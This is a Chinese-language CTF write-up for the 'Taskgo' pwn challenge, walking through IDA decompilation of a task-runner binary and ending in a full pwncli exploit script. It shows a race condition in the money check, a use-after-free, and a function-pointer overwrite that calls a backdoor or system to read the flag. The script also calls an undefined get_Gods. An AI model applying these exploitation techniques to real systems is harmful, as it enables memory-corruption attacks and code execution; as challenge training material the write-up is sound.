写在前面
很久不打 CTF 比赛了,感觉现在的 Pwn 对代码审计和 Fuzz ,信息收集(相关的CVE)和逆向能力要求越来越高了。
Taskgo
个人感觉对于Go和Rust编译的程序来说,使用IDAPro来动态调试比gdb要好用一些。
逆向分析
main
main函数利用PostTask提交CtfMain()任务。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| v13 = g_main_thread_task_runner; base::Location::Current((base::Location *)v19, "main", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 217); v14 = operator new(0x30uLL); base::internal::BindStateBase::BindStateBase( v14, base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(void)>,base::internal::BindState<false,true,false,void (*)(void)>,void ()(void)>::RunOnce, base::internal::BindState<false,true,false,void (*)(void)>::Destroy); *(_QWORD *)(v14 + 32) = CtfMain; base::TaskRunner::PostTask(v13, v19, v14); base::Location::Current((base::Location *)v19, "main", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 219); base::RunLoop::Run((base::RunLoop *)v21, (const base::Location *)v19); base::RunLoop::~RunLoop((base::RunLoop *)v21); base::Thread::Options::~Options((base::Thread::Options *)v26); base::Thread::~Thread((base::Thread *)v20);
|
CtfMain
CtfMain函数内,利用GetName函数在g_player结构体内存储名字,保存在g_player[0]上,g_player[6]保存了money。然后通过PostTask跑MainStmt()函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| __int64 CtfMain(void) { [...] GetName(); v3 = (__int128 *)g_player; *((_DWORD *)v3 + 6) = 10000; [...] v7 = g_main_thread_task_runner; base::Location::Current((base::Location *)v10, "CtfMain", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 178); v8 = operator new(0x30uLL); base::internal::BindStateBase::BindStateBase( v8, base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(void)>,base::internal::BindState<false,true,false,void (*)(void)>,void ()(void)>::RunOnce, base::internal::BindState<false,true,false,void (*)(void)>::Destroy); *(_QWORD *)(v8 + 0x20) = MainStmt; return base::TaskRunner::PostTask(v7, v10, v8); }
|
MainStmt
这是程序的主菜单,功能如下:
(1) Rapidly advancing in the rapids.
子功能:1. Wooden Boat.; 2. Silver Boat.; 3. Golden Boat.
(2) Magic Castle.
子功能:1. Buy Magic Scroll.; 2. Drop Magic Scroll.; 3. Learning Magic Scroll.; 1337. Gods(需满足一定条件)
。
(3) Show Money.
(4) exit(0)
RapidAdvanceMenu
通过PostTask跑RapidAdvance::PickHandle()函数来进行选择处理,这里可以看出,v13+0x20是任务,v13+0x28保存了参数。将Repeat放进任务队列,Repeat又将MainStmt放进任务队列,这里存在潜在的条件竞争风险,因为money并不是原子数,可能存在竞争风险导致溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| v13 = operator new(0x30uLL); base::internal::BindStateBase::BindStateBase( v13, base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(int),int &&>,base::internal::BindState<false,true,false,void (*)(int),int>,void ()(void)>::RunOnce, base::internal::BindState<false,true,false,void (*)(void)>::Destroy); *(_QWORD *)(v13 + 0x20) = RapidAdvance::PickHandle; *(_DWORD *)(v13 + 0x28) = v18[0]; base::TaskRunner::PostTask(v12, v17, v13); v14 = g_main_thread_task_runner; base::Location::Current( (base::Location *)v17, "RapidAdvanceMenu", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 110); v15 = operator new(0x30uLL); base::internal::BindStateBase::BindStateBase( v15, base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(void)>,base::internal::BindState<false,true,false,void (*)(void)>,void ()(void)>::RunOnce, base::internal::BindState<false,true,false,void (*)(void)>::Destroy); *(_QWORD *)(v15 + 32) = Repeat; return base::TaskRunner::PostTask(v14, v17, v15);
|
接下来进入RapidAdvance::PickHandle()函数,输入 1 后,CheckMoney的返回值不等于 0 会调用 RapidAdvance::StartRA()。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| __int64 __fastcall RapidAdvance::PickHandle(RapidAdvance *this) { [...] v17[0] = result; if ( (_DWORD)this == 3 ) { [...] v9 = (Player *)&g_player; v10 = 10000; } else { if ( (_DWORD)this != 2 ) { if ( (_DWORD)this == 1 ) { v5 = (Player *)&g_player; result = Player::CheckMoney(v5, 0x64u); if ( (_BYTE)result ) return RapidAdvance::StartRA((RapidAdvance *)((char *)&qword_60 + 4)); } return result; } [...] v9 = (Player *)&g_player; v10 = 1000; } else { v10 = 1000; } } result = Player::CheckMoney(v9, v10); if ( (_BYTE)result ) { v14 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>( &std::__Cr::cout, "You finish the game. Hope your next visit.", 42LL); [...] return std::__Cr::basic_ostream<char,std::__Cr::char_traits<char>>::flush(v14); } return result; }
|
StartRA
通过PostTask启动FiveStar,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| __int64 __fastcall RapidAdvance::StartRA(RapidAdvance *this) { if ( (_DWORD)this == 100 ) { v1 = g_main_thread_task_runner; base::Location::Current((base::Location *)v7, "StartRA", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 276); v2 = operator new(0x30uLL); base::internal::BindStateBase::BindStateBase( v2, base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(void)>,base::internal::BindState<false,true,false,void (*)(void)>,void ()(void)>::RunOnce, base::internal::BindState<false,true,false,void (*)(void)>::Destroy); *(_QWORD *)(v2 + 0x20) = FiveStar; base::TaskRunner::PostTask(v1, v7, v2); } v3 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>( &std::__Cr::cout, "You finish the game. Hope your next visit.", 42LL); return 0LL; }
|
进入FiveStart后,调试时发现其进入的时 v12<0 这个分支,将src[0]的内容复制给v7+0x28指向的地方。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| __int64 FiveStar(void) { *(_OWORD *)src = 0LL; v12 = 0LL; std::__Cr::operator>><char,std::__Cr::char_traits<char>,std::__Cr::allocator<char>>(&std::__Cr::cin, src); [...] v6 = g_io_thread_task_runner; base::Location::Current((base::Location *)v10, "FiveStar", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 270); v7 = operator new(0x40uLL); [...] *(_QWORD *)(v7 + 0x20) = NoteStar; v8 = (_OWORD *)(v7 + 0x28); if ( v12 < 0 ) { std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char>>::__init_copy_ctor_external( v8, src[0]); } else { *(_QWORD *)(v7 + 0x38) = v12; *v8 = *(_OWORD *)src; } result = base::TaskRunner::PostTask(v6, v10, v7); if ( v12 < 0 ) return free(src[0]); return result; }
|
CheckMoney
CheckMoney 调用了 sleep(1) 存在窗口时间,并且可以看到堆 money 的操作也并不是原子的,此时上面令起的Repeat任务早已开始运行了,我们此时可以利用这个等待时间购买其他东西,导致money整数溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| bool __fastcall Player::CheckMoney(Player *this, unsigned int cost) { v2 = (__int128 *)g_player; v3 = *((_DWORD *)v2 + 6); if ( v3 >= cost ) { [...] sleep(1u); v8 = (__int128 *)g_player; [...] v12 = *((_DWORD *)v8 + 6) - cost; v13 = (__int128 *)g_player; *((_DWORD *)v13 + 6) = v12; v14 = (__int128 *)g_player; v15 = std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char>>::insert( v22, 0LL, "\n[!] OK, now you money is : ", 28LL); if ( v25 < 0 ) { free(v24); if ( v23 >= 0 ) return v3 >= cost; } else if ( v23 >= 0 ) { return v3 >= cost; } free(v22[0]); return v3 >= cost; } v9 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>( &std::__Cr::cout, "Don't have e enough money.", 26LL); return v3 >= cost; }
|
MagicCastleMenu
调用 MagicCastle::SwitchHandle(v16) 处理选择,然后令起任务MainStmt。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| __int64 MagicCastleMenu(void) { [...] LODWORD(v16) = -1431655766; std::__Cr::basic_istream<char,std::__Cr::char_traits<char>>::operator>>(&std::__Cr::cin, &v16); [...] MagicCastle::SwitchHandle((MagicCastle *)(unsigned int)v16); v12 = g_main_thread_task_runner; base::Location::Current((base::Location *)v15, "Repeat", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 134); v13 = operator new(0x30uLL); base::internal::BindStateBase::BindStateBase( v13, base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(void)>,base::internal::BindState<false,true,false,void (*)(void)>,void ()(void)>::RunOnce, base::internal::BindState<false,true,false,void (*)(void)>::Destroy); *(_QWORD *)(v13 + 0x20) = MainStmt; return base::TaskRunner::PostTask(v12, v15, v13); }
|
MagicCastle::SwitchHandle
可以看到一个隐藏后门 输入1337后,如果*(_BYTE *)(g_player + 0x1CLL) == 7
会进入MagicHeld::Gods函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| void __fastcall MagicCastle::SwitchHandle(MagicCastle *this) { if ( (int)this <= 2 ) { if ( (_DWORD)this == 1 ) { if ( g_magiccastle <= 1uLL ) { this = (MagicCastle *)&g_magiccastle; if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 *)&g_magiccastle) ) { this = (MagicCastle *)&g_magiccastle; base::internal::CompleteLazyInstance(&g_magiccastle, &unk_145068, 0LL); } } MagicCastle::BuyMS(this); } else if ( (_DWORD)this == 2 ) { if ( g_magiccastle <= 1uLL ) { this = (MagicCastle *)&g_magiccastle; if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 *)&g_magiccastle) ) { this = (MagicCastle *)&g_magiccastle; base::internal::CompleteLazyInstance(&g_magiccastle, &unk_145068, 0LL); } } MagicCastle::DropMS(this); } return; } if ( (_DWORD)this != 3 ) { if ( (_DWORD)this != 1337 ) return; v1 = (__int128 *)g_player; [...] v18[0] = *((_BYTE *)v1 + 0x1C); [...] v6 = (__int128 *)g_player; if ( g_player <= 1uLL ) { if ( !(unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 *)&g_player) ) { [...] if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 *)&g_player) ) { [...] LABEL_31: if ( *((_BYTE *)v7 + 0x1C) == 7 ) { LABEL_32: v8 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>( &std::__Cr::cout, "\x1B[31m [!] The system is currently recording you name, Please wait 5s... \x1B[0m", 76LL); v11 = (void (__fastcall ***)(_QWORD, char *, _QWORD *, __int64))g_io_thread_task_runner; [...] v12 = (__int128 *)g_player; [...] v16 = *((_QWORD *)v12 + 4); [...] v17 = (_QWORD *)operator new(0x38uLL); [...] v17[4] = MagicHeld::Gods; v17[5] = 0LL; v17[6] = v16; (**v11)(v11, v18, v17, 3000000LL); return; } goto LABEL_41; } if ( *(_BYTE *)(g_player + 0x1CLL) == 7 ) goto LABEL_32; LABEL_41: v13 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>( &std::__Cr::cout, "You are not qualified!", 22LL); goto LABEL_42; } } [...] LABEL_19: if ( g_magiccastle <= 1uLL ) { this = (MagicCastle *)&g_magiccastle; if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 *)&g_magiccastle) ) { this = (MagicCastle *)&g_magiccastle; base::internal::CompleteLazyInstance(&g_magiccastle, &unk_145068, 0LL); } } MagicCastle::LearningMS(this); }
|
MagicHeld::Gods
根据上面的参数传递来看,参数this = v17[6] = v16 = *((_QWORD *)v12 + 4); // magic_cast;,根据提示,这里也存在条件竞争。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| __int64 __fastcall MagicHeld::Gods(const void **this) { printf("%p\n", &system); printf("%p\n", this[5]); v1 = (__int64 (__fastcall *)(__int128 *))this[5]; v2 = (__int128 *)g_player; [...] if ( *((char *)v2 + 0x17) >= 0 ) { LABEL_5: v5 = *((_QWORD *)v2 + 2); dest = *v2; goto LABEL_8; } LABEL_7: std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char>>::__init_copy_ctor_external( &dest, *(void **)v2); LABEL_8: result = v1(&dest); if ( v5 < 0 ) return free(dest); return result; }
|
MagicCastle::BuyMS(this)
有三个选项,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| __int64 __fastcall MagicCastle::BuyMS(MagicCastle *this) { v21 = -1431655766; v1 = (__int128 *)g_player; [...] if ( *((_QWORD *)v1 + 4) ) { LABEL_5: v2 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>( &std::__Cr::cout, "You already possess a magic, hurry up and learn it.", 51LL); [...] return std::__Cr::basic_ostream<char,std::__Cr::char_traits<char>>::flush(v2); } std::__Cr::basic_istream<char,std::__Cr::char_traits<char>>::operator>>(&std::__Cr::cin, &v21); switch ( v21 ) { case 3u: [...] result = Player::CheckMoney(v18, 0x1869Fu); if ( (_BYTE)result ) { v19 = (__int128 *)g_player; [...] result = operator new(0x30uLL); BYTE7(v22[1]) = 21; if ( v22 > (_OWORD *)"Magic Scroll of Stone" || (char *)&v22[1] + 5 <= "Magic Scroll of Stone" ) { strcpy((char *)v22, "Magic Scroll of Stone"); *(_QWORD *)result = off_124FF0; *(_QWORD *)(result + 0x28) = Log; *(_OWORD *)(result + 8) = v22[0]; *(_QWORD *)(result + 0x18) = *(_QWORD *)&v22[1]; *(_BYTE *)(result + 0x20) = 4; goto LABEL_44; } } break; case 2u: result = Player::CheckMoney(v18, 0x2710u); if ( (_BYTE)result ) { v19 = (__int128 *)g_player; result = operator new(0x30uLL); BYTE7(v22[1]) = 21; if ( v22 > (_OWORD *)"Magic Scroll of Water" || (char *)&v22[1] + 5 <= "Magic Scroll of Water" ) { strcpy((char *)v22, "Magic Scroll of Water"); *(_QWORD *)result = off_124FF0; *(_QWORD *)(result + 0x28) = Log; *(_OWORD *)(result + 8) = v22[0]; *(_QWORD *)(result + 0x18) = *(_QWORD *)&v22[1]; *(_BYTE *)(result + 0x20) = 2; goto LABEL_44; } } break; case 1u: result = Player::CheckMoney(v18, 0x2710u); if ( (_BYTE)result ) { v19 = (__int128 *)g_player; result = operator new(0x30uLL); BYTE7(v22[1]) = 21; if ( v22 > (_OWORD *)"Magic Scroll of Flame" || (char *)&v22[1] + 5 <= "Magic Scroll of Flame" ) { strcpy((char *)v22, "Magic Scroll of Flame"); *(_QWORD *)result = off_124FF0; *(_QWORD *)(result + 0x28) = Log; *(_OWORD *)(result + 8) = v22[0]; *(_QWORD *)(result + 0x18) = *(_QWORD *)&v22[1]; *(_BYTE *)(result + 0x20) = 1; LABEL_44: v20 = *((_QWORD *)v19 + 4); *((_QWORD *)v19 + 4) = result; if ( v20 ) return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v20 + 8LL))(v20); return result; } goto LABEL_46; } break; } return result; }
|
MagicCastle::LearningMS(this)
这里发现可以改变g_player+0x1c的值,根据magic_cast的0x20的值做与运算,而我们正好可以利用 1, 2, 4 将其改为7,从而进入Gods函数,进行条件竞争的利用。
1 2 3 4 5 6 7 8 9 10
| __int64 __fastcall MagicCastle::LearningMS(MagicCastle *this) { v1 = (__int128 *)g_player; v2 = (__int128 *)g_player; [...] result = (*(__int64 (__fastcall **)(_QWORD))(**((_QWORD **)v2 + 4) + 0x18LL))(*((_QWORD *)v2 + 4)); *((_BYTE *)v1 + 0x1C) |= result; return result; }
|
MagicCastle::DropMS
这里将0x30大小的magic_cast释放了,而在Gods函数里面我们会申请一个0x40大小的堆块,可以尝试利用条件竞争修改已经释放的Cast,将其保存的Log函数为BackDoor函数(题目给的一个用于读取文件的函数)或者system函数地址。Gods函数调用了v1(&g_player),如果名字为flag或cat flag,那麽就调用了BackDoor(“flag”)或者system(“cat flag”)。
1 2 3 4 5 6 7 8 9 10 11 12
| __int64 __fastcall MagicCastle::DropMS(MagicCastle *this) { v8[0] = v1; [...] v6 = (__int128 *)g_player; v7 = *((_QWORD *)v6 + 4); *((_QWORD *)v6 + 4) = 0LL; if ( v7 ) return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v7 + 8LL))(v7); return result; }
|
但在调试中发现,Gods中申请的堆块与magic_cast并不是同一堆块且相隔很远,cyclic() 测距时,偏移为0x28,并且在cin结束后就已经读入到释放掉的magic_cast中原来Log的位置了,可能go在cin变长读取时在堆上申请了缓冲区。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| from pwncli import *
context.terminal = ['tmux', 'splitw', '-h'] context.binary = './ctf' context.log_level = 'debug'
gift.io = process('./ctf')
gift.elf = ELF('./ctf')
io: tube = gift.io elf: ELF = gift.elf
def debug(gdbscript="", stop=False): if isinstance(io, process): gdb.attach(io, gdbscript=gdbscript) if stop: pause()
def cmd(i): sla(b">> ",str(i).encode())
def wooden(): cmd(1) cmd(1)
def silver(): cmd(1) cmd(2)
def golden(): cmd(1) cmd(3)
def buyMs(idx): cmd(2) cmd(1) cmd(idx)
def dropMs(): cmd(2) cmd(2)
def learningMs(): cmd(2) cmd(3)
def god(): cmd(2) cmd(1337)
def show(): cmd(3)
def get_gods(): global backdoor golden()
buyMs(1) learningMs() dropMs()
buyMs(2) learningMs() dropMs()
buyMs(3) learningMs()
show()
god() ru(b"0x") ru(b"0x") backdoor = int(r(12),16)+0x250 success("backdoor = "+hex(backdoor))
sleep(1)
def get_flag(): sl("2") cmd(1337) dropMs()
wooden() sla(b"visit.",b"5")
sla(b"Comments: ", b'a'*0x28 + p64(backdoor))
sla(b'name: ', b'./flag')
get_Gods() get_flag()
ia()
|